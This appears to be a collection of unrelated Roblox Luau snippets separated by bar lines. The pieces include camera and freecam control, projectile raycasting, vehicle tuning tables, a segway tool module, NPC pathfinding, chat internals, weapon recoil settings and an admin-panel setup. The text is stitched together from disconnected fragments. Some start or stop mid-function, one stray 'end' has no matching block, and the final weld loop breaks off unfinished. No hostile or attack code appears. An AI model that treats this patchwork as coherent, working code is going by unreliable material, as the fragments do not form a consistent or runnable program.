for i, emote in ipairs(paidEmotes) do
paidEmotesDict[emote.name] = emote
-- The 1000 ensures these emotes are at the end of all other emotes
paidEmotesDict[emote.name].order = i + 1000
end
return paidEmotesDict
|
------------------------------------------------
|
local function IsDirectionDown(direction)
for i = 1, #KEY_MAPPINGS[direction] do
if UIS:IsKeyDown(KEY_MAPPINGS[direction][i]) then
return true
end
end
return false
end
local UpdateFreecam do
local dt = 1/60
RS.RenderStepped:Connect(function(_dt)
dt = _dt
end)
function UpdateFreecam()
local camCFrame = camera.CFrame
local kx = (IsDirectionDown(DIRECTION_RIGHT) and 1 or 0) - (IsDirectionDown(DIRECTION_LEFT) and 1 or 0)
local ky = (IsDirectionDown(DIRECTION_UP) and 1 or 0) - (IsDirectionDown(DIRECTION_DOWN) and 1 or 0)
local kz = (IsDirectionDown(DIRECTION_BACKWARD) and 1 or 0) - (IsDirectionDown(DIRECTION_FORWARD) and 1 or 0)
local km = (kx * kx) + (ky * ky) + (kz * kz)
if km > 1e-15 then
km = ((UIS:IsKeyDown(Enum.KeyCode.LeftShift) or UIS:IsKeyDown(Enum.KeyCode.RightShift)) and 1/4 or 1)/math.sqrt(km)
kx = kx * km
ky = ky * km
kz = kz * km
end
local dx = kx + gp_x
local dy = ky + gp_r1 - gp_l1
local dz = kz + gp_z
velSpring.t = Vector3.new(dx, dy, dz) * SpeedModifier
rotSpring.t = panDeltaMouse + panDeltaGamepad
fovSpring.t = Clamp(fovSpring.t + dt * rate_fov*FVEL_GAIN, 5, 120)
local fov = fovSpring:Update(dt)
local dPos = velSpring:Update(dt) * LVEL_GAIN
local dRot = rotSpring:Update(dt) * (RVEL_GAIN * math.tan(fov * math.pi/360) * NM_ZOOM)
rate_fov = 0
panDeltaMouse = Vector2.new()
stateRot = stateRot + dRot
stateRot = Vector2.new(Clamp(stateRot.x, -3/2, 3/2), stateRot.y)
local c = CFrame.new(camCFrame.p) * CFrame.Angles(0, stateRot.y, 0) * CFrame.Angles(stateRot.x, 0, 0) * CFrame.new(dPos)
camera.CFrame = c
camera.Focus = c*FOCUS_OFFSET
camera.FieldOfView = fov
end
end
|
-- A variant of the function above that returns the velocity at a given point in time.
|
local function GetVelocityAtTime(time: number, initialVelocity: Vector3, acceleration: Vector3): Vector3
return initialVelocity + acceleration * time
end
local function GetTrajectoryInfo(cast: ActiveCast, index: number): {[number]: Vector3}
assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
local trajectories = cast.StateInfo.Trajectories
local trajectory = trajectories[index]
local duration = trajectory.EndTime - trajectory.StartTime
local origin = trajectory.Origin
local vel = trajectory.InitialVelocity
local accel = trajectory.Acceleration
return {GetPositionAtTime(duration, origin, vel, accel), GetVelocityAtTime(duration, vel, accel)}
end
local function GetLatestTrajectoryEndInfo(cast: ActiveCast): {[number]: Vector3}
assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
return GetTrajectoryInfo(cast, #cast.StateInfo.Trajectories)
end
local function CloneCastParams(params: RaycastParams): RaycastParams
local clone = RaycastParams.new()
clone.CollisionGroup = params.CollisionGroup
clone.FilterType = params.FilterType
clone.FilterDescendantsInstances = params.FilterDescendantsInstances
clone.IgnoreWater = params.IgnoreWater
return clone
end
local function SendRayHit(cast: ActiveCast, resultOfCast: RaycastResult, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)
if not resultOfCast.Instance:IsDescendantOf(workspace.Filter) then
cast.Caster.RayHit:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject)
end
end
local function SendRayPierced(cast: ActiveCast, resultOfCast: RaycastResult, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)
--cast.RayPierced:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject)
cast.Caster.RayPierced:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject)
end
local function SendLengthChanged(cast: ActiveCast, lastPoint: Vector3, rayDir: Vector3, rayDisplacement: number, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)
--cast.LengthChanged:Fire(cast, lastPoint, rayDir, rayDisplacement, segmentVelocity, cosmeticBulletObject)
cast.Caster.LengthChanged:Fire(cast, lastPoint, rayDir, rayDisplacement, segmentVelocity, cosmeticBulletObject)
end
|
--Made by Superluck, Uploaded by FederalSignal_QCB.
--Made by Superluck, Uploaded by FederalSignal_QCB.
--Made by Superluck, Uploaded by FederalSignal_QCB.
|
wait(1)
while true do
script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.PlaybackSpeed = script.Parent.PlaybackSpeed
script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.Volume = (script.Parent.Volume*2)*4
script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.EmitterSize = script.Parent.EmitterSize*506
script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.SoundId = script.Parent.SoundId
script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.Playing = script.Parent.Playing
script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.DistortionSoundEffect.Level = (script.Parent.Volume*5)
wait()
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = true --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 230 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 370 ,
spInc = 40 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 400 ,
spInc = 40 , -- Increment between labelled notches
}
}
|
----------------------------------------------------------------------------------------------------
------------------=[ Status UI ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,EnableStatusUI = true --- Don't disabled it...
,RunWalkSpeed = 24
,NormalWalkSpeed = 12
,SlowPaceWalkSpeed = 6
,CrouchWalkSpeed = 6
,ProneWalksSpeed = 3
,InjuredWalksSpeed = 8
,InjuredCrouchWalkSpeed = 4
,EnableHunger = false --- Hunger and Thirst system (Removed)
,HungerWaitTime = 25
,CanDrown = true --- Glub glub glub *ded*
,EnableStamina = true --- Weapon Sway based on stamina (Unused)
,RunValue = 1 --- Stamina consumption
,StandRecover = .25 --- Stamina recovery while stading
,CrouchRecover = .5 --- Stamina recovery while crouching
,ProneRecover = 1 --- Stamina recovery while lying
,EnableGPS = false --- GPS shows your allies around you
,GPSdistance = 0
,InteractionMenuKey = Enum.KeyCode.LeftAlt
,BuildingEnabled = false
,BuildingKey = Enum.KeyCode.RightAlt
|
-- Create base segway to clone from
|
local SegID = 581150091
local Segway = require(SegID)
local function Get_des(instance, func)
func(instance)
for _, child in next, instance:GetChildren() do
Get_des(child, func)
end
end
Functions.PlaySound = function(Sound,Pitch,Volume)
if Sound and Sound.Parent.Name == "Seat" then
Sound.Pitch = Pitch
Sound.Volume = Volume
Sound:Play()
end
end
Functions.StopSound = function(Sound,Volume)
if Sound and Sound.Parent.Name == "Seat" then
Sound.Volume = Volume
Sound:Stop()
end
end
Functions.ChangeSound = function(Sound,Pitch,Volume,ShouldPitch,ShouldVolume)
if Sound and Sound.Parent.Name == "Seat" then
if ShouldPitch == true then
Sound.Pitch = Pitch
end
if ShouldVolume == true then
Sound.Volume = Volume
end
end
end
Functions.AnchorPart = function(Part,Anchored)
if Part and Part:IsA("BasePart") and Part.Name == "Seat" then
Part.Anchored = Anchored
end
end
Functions.UndoTags = function(SegwayObject,WeldObject,TiltMotor)
WeldObject.Value = nil
TiltMotor.Value = nil
SegwayObject.Value = nil
end
Functions.UndoHasWelded = function(SeaterObject)
if SeaterObject.Value and SeaterObject.Value.Parent then
SeaterObject.Value.Parent.HasWelded.Value = false
SeaterObject.Value = nil
end
end
Functions.TiltMotor = function(Motor,Angle)
if Motor and Motor.Name == "TiltMotor" then
Motor.DesiredAngle = Angle
end
end
Functions.DeleteWelds = function(Part)
if Part and Part:IsA("BasePart") and Part.Name == "Seat" then
for _,v in pairs(Part:GetChildren()) do
if v:IsA("Motor6D") then
v:Destroy()
end
end
end
end
Functions.ConfigHumanoid = function(Character,Humanoid,PlatformStand,Jump,AutoRotate)
if Humanoid and Humanoid.Parent == Character then
Humanoid.AutoRotate = AutoRotate
Humanoid.PlatformStand = PlatformStand
Humanoid.Jump = Jump
Get_des(Character,function(d)
if d and d:IsA("CFrameValue") and d.Name == "KeptCFrame" then
d.Parent.C0 = d.Value
d:Destroy()
end
end)
end
end
Functions.ConfigLights = function(Transparency,Color,Bool,Material,Lights,Notifiers)
if Lights and Notifiers then
for _,v in pairs(Lights:GetChildren()) do
if v:IsA("BasePart") and v:FindFirstChild("SpotLight") and v:FindFirstChild("Glare") then
v.BrickColor = BrickColor.new(Color)
v.Transparency = Transparency
v:FindFirstChild("SpotLight").Enabled = Bool
v.Material = Material
end
end
for _,v in pairs(Notifiers:GetChildren()) do
if v:IsA("BasePart") and v:FindFirstChild("SurfaceGui") then
v:FindFirstChild("SurfaceGui").ImageLabel.Visible = Bool
end
end
end
end
Functions.ColorSegway = function(Model,Color)
for i=1, #Wings do
for _,v in pairs(Model[Wings[i]]:GetChildren()) do
if v.Name == "Base" or v.Name == "Cover" then
v.BrickColor = Color
end
end
end
end
Functions.DestroySegway = function(Character,SpawnedSegway)
if SpawnedSegway:IsA("ObjectValue") and SpawnedSegway.Value and SpawnedSegway.Value:FindFirstChild("SegPlatform") then
SpawnedSegway.Value:Destroy()
end
end
Functions.SpawnSegway = function(Player,Character,Tool,SpawnedSegway,Color)
if Character and not Character:FindFirstChild(Segway.Name) and Tool.Parent == Character then
local NewSegway = Segway:Clone()
-- Define head
local Head = Character:WaitForChild("Head")
-- Get the head's rotation matrix
local p,p,p,xx,xy,xz,yx,yy,yz,zx,zy,zz = Head.CFrame:components()
-- Get the position in front of player
local SpawnPos = Head.Position + (Head.CFrame.lookVector*4)
ToolStatus.Thruster.Value = NewSegway:WaitForChild("Wheels"):WaitForChild("Thruster")
-- Apply the settings called from the client
NewSegway:WaitForChild("Creator").Value = Player
NewSegway:WaitForChild("MyTool").Value = Tool
SpawnedSegway.Value = NewSegway
-- Colors the segway
Functions.ColorSegway(NewSegway,Color)
-- Parent segway into the player's character
NewSegway.Parent = Character
NewSegway:MakeJoints()
-- Position segway
NewSegway:SetPrimaryPartCFrame(CFrame.new(0,0,0,xx,xy,xz,yx,yy,yz,zx,zy,zz)*CFrame.Angles(0,math.rad(180),0)) -- Rotate segway properly
NewSegway:MoveTo(SpawnPos)
end
end
Functions.ConfigTool = function(Transparency,Tool,ShouldColor,Color)
if Tool == ThisTool then
for _,v in pairs(Tool:GetChildren()) do
if v:IsA("BasePart") and ShouldColor == false then
v.Transparency = Transparency
elseif ShouldColor == true and v:IsA("BasePart") and v.Name == "ColorablePart" then
v.BrickColor = Color
end
end
end
end
return Functions
|
-------------------------------------------
|
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-0.4, 1.25, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90),-0.25,0) --Right leg
arms[2].Name = "RDave"
arms[2].CanCollide = true
welds[2] = weld2
|
-- script
|
RunService.RenderStepped:Connect(function()
local currentTime = tick()
if humanoid.MoveDirection.Magnitude > 0 then -- we are walking
local bobbleX = math.cos(currentTime * 10) * .15
local bobbleY = math.abs(math.sin(currentTime * 10)) * .30
local bobble = Vector3.new(bobbleX, bobbleY, 0)
humanoid.CameraOffset = humanoid.CameraOffset:lerp(bobble, .25)
else -- we are not walking
local t = tick()
local x = math.cos(t * speed) * intensity
local y = math.sin(t * speed) * intensity
local cf = CFrame.new(Vector3.new(x, y, 0), Vector3.new(x*0.95, y*0.95, -10)) + camera.CFrame.Position
camera.CFrame = camera.CFrame:Lerp(cf * camera.CFrame.Rotation, smoothness)
end
end)
|
--[[
Notes:
Transparency Modifier is what is the end result when "zooming in", it can be changed to whatever you like.
Camera Offset is changed to allow the player to see at lower angles without clipping the view with the torso.
This may or maynot effect certian tools if they change the players camera position IE crouching or crawling.
Use:
Place into StarterPlayer.StarterChacterScripts
--]]
|
local character = (game.Players.LocalPlayer.Character or game.Players.LocalPlayer.CharacterAdded:wait())
game:GetService("RunService").RenderStepped:connect(function()
if (character:FindFirstChild("RightUpperArm") and character:FindFirstChild("LeftUpperArm")) then
|
-- no touchy
|
local path
local waypoint
local oldpoints
local isWandering = 0
if canWander then
spawn(function()
while isWandering == 0 do
isWandering = 1
local desgx, desgz = hroot.Position.x + math.random(-WanderX, WanderX), hroot.Position.z + math.random(-WanderZ, WanderZ)
human:MoveTo( Vector3.new(desgx, 0, desgz) )
wait(math.random(4, 6))
isWandering = 0
end
end)
end
while wait() do
local enemybody = Getbody(hroot.Position)
if enemybody ~= nil then -- if player detected
isWandering = 1
local function checkw(t)
local ci = 3
if ci > #t then
ci = 3
end
if t[ci] == nil and ci < #t then
repeat
ci = ci + 1
wait()
until t[ci] ~= nil
return Vector3.new(1, 0, 0) + t[ci]
else
ci = 3
return t[ci]
end
end
path = pfs:FindPathAsync(hroot.Position, enemybody.Position)
waypoint = path:GetWaypoints()
oldpoints = waypoint
local connection;
local direct = Vector3.FromNormalId(Enum.NormalId.Front)
local ncf = hroot.CFrame * CFrame.new(direct)
direct = ncf.p.unit
local rootr = Ray.new(hroot.Position, direct)
local phit, ppos = game.Workspace:FindPartOnRay(rootr, hroot)
if path and waypoint or checkw(waypoint) then
if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Walk then
human:MoveTo( checkw(waypoint).Position )
human.Jump = false
end
-- CANNOT LET BALDI JUMPS --
--[[if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Jump then
human.Jump = true
connection = human.Changed:connect(function()
human.Jump = true
end)
human:MoveTo( checkw(waypoint).Position )
else
human.Jump = false
end]]
--[[hroot.Touched:connect(function(p)
local bodypartnames = GetPlayersbodyParts(enemybody)
if p:IsA'Part' and not p.Name == bodypartnames and phit and phit.Name ~= bodypartnames and phit:IsA'Part' and rootr:Distance(phit.Position) < 5 then
connection = human.Changed:connect(function()
human.Jump = true
end)
else
human.Jump = false
end
end)]]
else
for i = 3, #oldpoints do
human:MoveTo( oldpoints[i].Position )
end
end
elseif enemybody == nil and canWander then -- if player not detected
isWandering = 0
path = nil
waypoint = nil
human.MoveToFinished:Wait()
end
end
|
-- Fonction pour basculer la visibilité et le mouvement du curseur de la souris
|
local function toggleMouseVisibilityAndMovement()
isMouseVisible = not isMouseVisible
if isMouseVisible then
Mouse.Icon = defaultMouseIcon
player.Character.Humanoid.AutoRotate = true
else
Mouse.Icon = ""
player.Character.Humanoid.AutoRotate = false
end
end
|
--///////////////// Internal-Use Methods
--//////////////////////////////////////
|
function methods:InternalDestroy()
for i, channel in pairs(self.Channels) do
channel:InternalRemoveSpeaker(self)
end
self.eDestroyed:Fire()
self.EventFolder = nil
self.eDestroyed:Destroy()
self.eSaidMessage:Destroy()
self.eReceivedMessage:Destroy()
self.eReceivedUnfilteredMessage:Destroy()
self.eMessageDoneFiltering:Destroy()
self.eReceivedSystemMessage:Destroy()
self.eChannelJoined:Destroy()
self.eChannelLeft:Destroy()
self.eMuted:Destroy()
self.eUnmuted:Destroy()
self.eExtraDataUpdated:Destroy()
self.eMainChannelSet:Destroy()
self.eChannelNameColorUpdated:Destroy()
end
function methods:InternalAssignPlayerObject(playerObj)
self.PlayerObj = playerObj
end
function methods:InternalAssignEventFolder(eventFolder)
self.EventFolder = eventFolder
end
function methods:InternalSendMessage(messageObj, channelName)
local success, err = pcall(function()
self:LazyFire("eReceivedUnfilteredMessage", messageObj, channelName)
self.EventFolder.OnNewMessage:FireClient(self.PlayerObj, messageObj, channelName)
end)
if not success and err then
print("Error sending internal message: " ..err)
end
end
function methods:InternalSendFilteredMessage(messageObj, channelName)
local success, err = pcall(function()
self:LazyFire("eReceivedMessage", messageObj, channelName)
self:LazyFire("eMessageDoneFiltering", messageObj, channelName)
self.EventFolder.OnMessageDoneFiltering:FireClient(self.PlayerObj, messageObj, channelName)
end)
if not success and err then
print("Error sending internal filtered message: " ..err)
end
end
|
-- Local private variables and constants
|
local ZERO_VECTOR2 = Vector2.new(0,0)
local tweenAcceleration = math.rad(220) -- Radians/Second^2
local tweenSpeed = math.rad(0) -- Radians/Second
local tweenMaxSpeed = math.rad(250) -- Radians/Second
local TIME_BEFORE_AUTO_ROTATE = 2 -- Seconds, used when auto-aligning camera with vehicles
local INITIAL_CAMERA_ANGLE = CFrame.fromOrientation(math.rad(-15), 0, 0)
local ZOOM_SENSITIVITY_CURVATURE = 0.5
local FIRST_PERSON_DISTANCE_MIN = 0.5
|
-- ROBLOX deviation END
|
export type ReporterOnStartOptions = { estimatedTime: number, showStatus: boolean }
export type Context = {
config: Config_ProjectConfig,
hasteFS: HasteFS,
moduleMap: ModuleMap,
resolver: Resolver,
}
export type Test = { context: Context, duration: number?, path: Config_Path }
export type CoverageWorker = { worker: worker }
export type CoverageReporterOptions = {
changedFiles: Set<Config_Path>?,
sourcesRelatedToTestsInChangedFiles: Set<Config_Path>?,
}
export type CoverageReporterSerializedOptions = {
changedFiles: Array<Config_Path>?,
sourcesRelatedToTestsInChangedFiles: Array<Config_Path>?,
}
export type OnTestStart = (test: Test) -> Promise<void>
export type OnTestFailure = (test: Test, error_: SerializableError) -> Promise<unknown>
export type OnTestSuccess = (test: Test, result: TestResult) -> Promise<unknown>
export type Reporter = {
onTestResult: ((
self: Reporter,
test: Test,
testResult: TestResult,
aggregatedResult: AggregatedResult
) -> Promise<void> | void)?,
onTestFileResult: ((
self: Reporter,
test: Test,
testResult: TestResult,
aggregatedResult: AggregatedResult
) -> Promise<void> | void)?,
onTestCaseResult: ((self: Reporter, test: Test, testCaseResult: TestCaseResult) -> Promise<void> | void)?,
onRunStart: (self: Reporter, results: AggregatedResult, options: ReporterOnStartOptions) -> Promise<void> | void,
onTestStart: ((self: Reporter, test: Test) -> Promise<void> | void)?,
onTestFileStart: ((self: Reporter, test: Test) -> Promise<void> | void)?,
onRunComplete: (self: Reporter, contexts: Set<Context>, results: AggregatedResult) -> Promise<void> | void,
getLastError: (self: Reporter) -> Error | void,
}
export type SummaryOptions = {
currentTestCases: Array<{ test: Test, testCaseResult: TestCaseResult }>?,
estimatedTime: number?,
roundTime: boolean?,
width: number?,
}
export type TestRunnerOptions = { serial: boolean }
export type TestRunData = Array<{
context: Context,
matches: { allTests: number, tests: Array<Test>, total: number },
}>
export type TestSchedulerContext = {
firstRun: boolean,
previousSuccess: boolean,
changedFiles: Set<Config_Path>?,
}
return exports
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {16,20} --- Vertical Recoil
,HRecoil = {9,11} --- Horizontal Recoil
,AimRecover = .75 ---- Between 0 & 1
,RecoilPunch = .2
,VPunchBase = 3.5 --- Vertical Punch
,HPunchBase = 1.25 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .25
,MaxRecoilPower = 3
,RecoilPowerStepAmount = .5
,MinSpread = 5 --- Min bullet spread value | Studs
,MaxSpread = 35 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 0.75
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1 --- Max sway value based on player stamina | Studs
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
|
head.ChildAdded:connect(function(c)
if c.Name == "Sound" then
c.Ended:connect(function()
if sdb == true then
soundplaying = nil
nameobj = nil
c:remove()
wait(MutterDelay)
sdb = false
end
end)
end
end)
|
--[[
BaseCharacterController - Abstract base class for character controllers, not intended to be
directly instantiated.
2018 PlayerScripts Update - AllYourBlox
--]]
|
local ZERO_VECTOR3 = Vector3.new(0,0,0)
|
--[[Weight and CG]]
|
Tune.Weight = 3100 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- << VARIABLES >>
|
local frame = main.gui.MainFrame.Pages.Admin
local buyFrame = main.warnings.BuyFrame
local unBan = main.warnings.UnBan
local pages = {
ranks = frame.Ranks;
serverRanks = frame["Server Ranks"],
banland = frame.Banland;
}
local templates = {
rankTitle = pages.ranks.TemplateRankTitle;
rankItem = pages.ranks.TemplateRankItem;
space = pages.ranks.TemplateSpace;
admin = pages.serverRanks.TemplateAdmin;
ban = pages.banland.TemplateBan;
banTitle = pages.banland.TemplateTitle
}
local otherPermissions = {
{"friends", main.ownerName.."'s Friends", "For friends of the Owner"};
{"freeadmin", "Free Admin", "For everyone"};
{"vipserverowner", "VIP Server Owner", "For VIP Server owners"};
{"vipserverplayer", "VIP Server Player", "For VIP Server players"};
}
|
-- made by ROBLOX FOR SURE
|
end
script.Parent.Activated:connect(onActivated)
|
--[=[
@private
@class Utils
]=]
|
local Utils = {}
local function errorOnIndex(_, index)
error(("Bad index %q"):format(tostring(index)), 2)
end
local READ_ONLY_METATABLE = {
__index = errorOnIndex;
__newindex = errorOnIndex;
}
function Utils.readonly(_table)
return setmetatable(_table, READ_ONLY_METATABLE)
end
function Utils.copyTable(target)
local new = {}
for key, value in pairs(target) do
new[key] = value
end
return new
end
function Utils.count(_table)
local count = 0
for _, _ in pairs(_table) do
count = count + 1
end
return count
end
function Utils.getOrCreateValue(parent, instanceType, name, defaultValue)
assert(typeof(parent) == "Instance", "Bad argument 'parent'")
assert(type(instanceType) == "string", "Bad argument 'instanceType'")
assert(type(name) == "string", "Bad argument 'name'")
local foundChild = parent:FindFirstChild(name)
if foundChild then
if not foundChild:IsA(instanceType) then
warn(("[Utils.getOrCreateValue] - Value of type %q of name %q is of type %q in %s instead")
:format(instanceType, name, foundChild.ClassName, foundChild:GetFullName()))
end
return foundChild
else
local newChild = Instance.new(instanceType)
newChild.Name = name
newChild.Value = defaultValue
newChild.Parent = parent
return newChild
end
end
function Utils.getValue(parent, instanceType, name, default)
assert(typeof(parent) == "Instance", "Bad argument 'parent'")
assert(type(instanceType) == "string", "Bad argument 'instanceType'")
assert(type(name) == "string", "Bad argument 'name'")
local foundChild = parent:FindFirstChild(name)
if foundChild then
if foundChild:IsA(instanceType) then
return foundChild.Value
else
warn(("[Utils.getValue] - Value of type %q of name %q is of type %q in %s instead")
:format(instanceType, name, foundChild.ClassName, foundChild:GetFullName()))
return nil
end
else
return default
end
end
function Utils.setValue(parent, instanceType, name, value)
assert(typeof(parent) == "Instance", "Bad argument 'parent'")
assert(type(instanceType) == "string", "Bad argument 'instanceType'")
assert(type(name) == "string", "Bad argument 'name'")
local foundChild = parent:FindFirstChild(name)
if foundChild then
if not foundChild:IsA(instanceType) then
warn(("[Utils.setValue] - Value of type %q of name %q is of type %q in %s instead")
:format(instanceType, name, foundChild.ClassName, foundChild:GetFullName()))
end
foundChild.Value = value
else
local newChild = Instance.new(instanceType)
newChild.Name = name
newChild.Value = value
newChild.Parent = parent
end
end
function Utils.getOrCreateFolder(parent, folderName)
local found = parent:FindFirstChild(folderName)
if found then
return found
else
local folder = Instance.new("Folder")
folder.Name = folderName
folder.Parent = parent
return folder
end
end
return Utils
|
--Front Suspension
|
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
|
-- Create component
|
local Component = Cheer.CreateComponent('BTTooltip', View);
local Connections = {};
function Component.Start()
-- Hide the view
View.Visible = false;
-- Show the tooltip on hover
Connections.ShowOnEnter = Support.AddGuiInputListener(View.Parent, 'Began', 'MouseMovement', true, Component.Show);
Connections.HideOnLeave = Support.AddGuiInputListener(View.Parent, 'Ended', 'MouseMovement', true, Component.Hide);
-- Clear connections when the component is removed
Component.OnRemove:Connect(ClearConnections);
-- Return component for chaining
return Component;
end;
function Component.Show()
View.Visible = true;
end;
function Component.Hide()
View.Visible = false;
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:disconnect();
Connections[ConnectionKey] = nil;
end;
end;
return Component.Start();
|
--Made by Luckymaxer
|
Figure = script.Parent
Humanoid = Figure:WaitForChild("Humanoid")
Torso = Figure:WaitForChild("Torso")
Creator = Figure:WaitForChild("Creator")
PathfindingService = game:GetService("PathfindingService")
FollowingPath = false
WalkRadius = 15
SuccessDistance = (Torso.Size.Y * 10)
MaxDistance = 485
MaximumAttemptTime = 3
Moving = false
CurrentWayPoint = nil
function RayCast(Position, Direction, MaxDistance, IgnoreList)
return game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(Position, Direction.unit * (MaxDistance or 999.999)), IgnoreList)
end
function Pathfind(StartPoint, TargetPoint, MaxDistance)
local Path = PathfindingService:ComputeRawPathAsync(StartPoint, TargetPoint, MaxDistance)
if not Path or Path.Status == Enum.PathStatus.FailStartNotEmpty or Path.Status == Enum.PathStatus.FailFinishNotEmpty then
return {}
end
local PathWayPoints = Path:GetPointCoordinates()
if not PathWayPoints or #PathWayPoints == 0 then
return {}
end
return PathWayPoints
end
function GatherWapoints(StartPoint, TargetPoint, MaxDistance)
local WayPoints = nil
pcall(function()
WayPoints = Pathfind(StartPoint, TargetPoint, MaxDistance)
end)
return WayPoints
end
function MoveAround(TargetPoint)
if FollowingPath then
return
end
FollowingPath = true
TargetPoint = ((not TargetPoint and (Torso.Position + Vector3.new(math.random(-WalkRadius, WalkRadius), 0, math.random(-WalkRadius, WalkRadius))) or TargetPoint))
local WayPoints = GatherWapoints(Torso.Position, TargetPoint, MaxDistance)
if WayPoints and #WayPoints > 0 then
for i, v in pairs(WayPoints) do
CurrentWayPoint = v
Humanoid:MoveTo(v)
local TimeBegan = tick()
while ((v - Torso.Position).magnitude > SuccessDistance and (tick() - TimeBegan) < MaximumAttemptTime) do
wait(0.1)
end
if (v - Torso.Position).magnitude < SuccessDistance then
WayPoints = GatherWapoints(Torso.Position, TargetPoint, MaxDistance)
if WayPoints and #WayPoints > 0 then
MoveAround(TargetPoint)
end
end
end
CurrentWayPoint = nil
end
FollowingPath = false
end
function SecureJump()
if Humanoid.Jump then
return
end
local TargetPoint = Humanoid.TargetPoint
local GroundBelow, GroundPos
if CurrentWayPoint then
GroundBelow, GroundPos = RayCast((Torso.CFrame + CFrame.new(Torso.Position, Vector3.new(CurrentWayPoint.X, Torso.Position.Y, CurrentWayPoint.Z)).lookVector * (Torso.Size.Z * 4)).p, Vector3.new(0, -1, 0), (Torso.Size.Y * 4), {Character})
end
if CurrentWayPoint and not GroundBelow then
Humanoid.TargetPoint = Torso.Position
Humanoid:MoveTo(Torso.Position)
TimeBegan = MaximumAttemptTime
else
local Blockage, BlockagePos = RayCast((Torso.CFrame + CFrame.new(Torso.Position, Vector3.new(TargetPoint.X, Torso.Position.Y, TargetPoint.Z)).lookVector * (Torso.Size.Z / 2)).p, Torso.CFrame.lookVector, (Torso.Size.Z * 2.5), {Figure})
if not Humanoid.Jump and (Blockage and not Blockage.Parent:FindFirstChild("Humanoid")) then
Humanoid.Jump = true
end
end
end
repeat
Spawn(function()
local CreatorValue = Creator.Value
local CreatorCharacter, CreatorTorso
if CreatorValue and CreatorValue:IsA("Player") and CreatorValue.Character then
CreatorCharacter = CreatorValue.Character
CreatorTorso = CreatorCharacter:FindFirstChild("Torso")
end
MoveAround((CreatorTorso and CreatorTorso.Position) or nil)
end)
SecureJump()
wait(0.01)
until false
|
--First build your Gun, make sure all the parts and Non-Colliding and Not Anchored.
--Second put these parts inside the Tool (Call one of the parts 'Handle' and the rest 'Part'
--Lastly, make/get your gun script and test it out!
|
local prev
local parts = script.Parent["Parachute"]:GetChildren()
for i = 1,#parts do
if (parts[i].className == "Part") or (parts[i].className == "VehicleSeat") then
if (prev ~= nil)then
local weld = Instance.new("Weld")
weld.Part0 = prev
weld.Part1 = parts[i]
weld.C0 = prev.CFrame:inverse()
